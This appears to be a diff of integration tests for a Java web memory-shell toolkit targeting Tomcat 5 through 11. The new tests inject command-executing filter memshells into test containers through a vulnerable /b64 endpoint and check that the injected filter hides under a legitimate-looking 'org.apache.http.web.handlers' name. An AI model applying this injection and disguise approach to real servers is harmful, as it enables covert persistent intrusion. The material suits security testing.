import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -70,4 +77,24 @@ public class Tomcat11ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+27
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -71,4 +78,24 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V21);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V21, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+27
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -17,9 +20,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -84,4 +91,24 @@ public class Tomcat5ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+27
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -76,4 +83,24 @@ public class Tomcat6ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+28
-1
@@ -4,11 +4,14 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.objectweb.asm.Opcodes;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junitpioneer.jupiter.RetryingTest;
|
import org.junitpioneer.jupiter.RetryingTest;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -78,4 +85,24 @@ public class Tomcat7ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+31
-2
@@ -4,10 +4,13 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.objectweb.asm.Opcodes;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -47,7 +54,9 @@ public class Tomcat8ContainerTest {
|
|||||||
void testBasicInfo() {
|
void testBasicInfo() {
|
||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
Files.writeString(
|
||||||
|
Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"),
|
||||||
|
data);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@@ -78,4 +87,24 @@ public class Tomcat8ContainerTest {
|
|||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||||
ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+28
-1
@@ -4,11 +4,14 @@ import com.reajason.javaweb.Server;
|
|||||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||||
import com.reajason.javaweb.integration.VulTool;
|
import com.reajason.javaweb.integration.VulTool;
|
||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.objectweb.asm.Opcodes;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junitpioneer.jupiter.RetryingTest;
|
import org.junitpioneer.jupiter.RetryingTest;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||||
|
import static org.hamcrest.CoreMatchers.*;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -70,4 +77,24 @@ public class Tomcat9ContainerTest {
|
|||||||
String url = getUrl(container);
|
String url = getUrl(container);
|
||||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9);
|
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterProbe() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
System.out.println(data);
|
||||||
|
assertThat(data, anyOf(
|
||||||
|
containsString("Context: ")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testFilterFirstInject() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container);
|
||||||
|
String data = VulTool.post(url + "/b64", DetectionTool.getTomcatFilterProbe());
|
||||||
|
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
|
||||||
|
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
|
||||||
|
assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers")));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ plugins {
|
|||||||
dependencyResolutionManagement {
|
dependencyResolutionManagement {
|
||||||
repositoriesMode = RepositoriesMode.FAIL_ON_PROJECT_REPOS
|
repositoriesMode = RepositoriesMode.FAIL_ON_PROJECT_REPOS
|
||||||
repositories {
|
repositories {
|
||||||
|
mavenLocal()
|
||||||
mavenCentral()
|
mavenCentral()
|
||||||
maven("https://packages.jetbrains.team/maven/p/ij/intellij-dependencies")
|
maven("https://packages.jetbrains.team/maven/p/ij/intellij-dependencies")
|
||||||
maven("https://www.jitpack.io")
|
maven("https://www.jitpack.io")
|
||||||
|
|||||||
Reference in New Issue
Block a user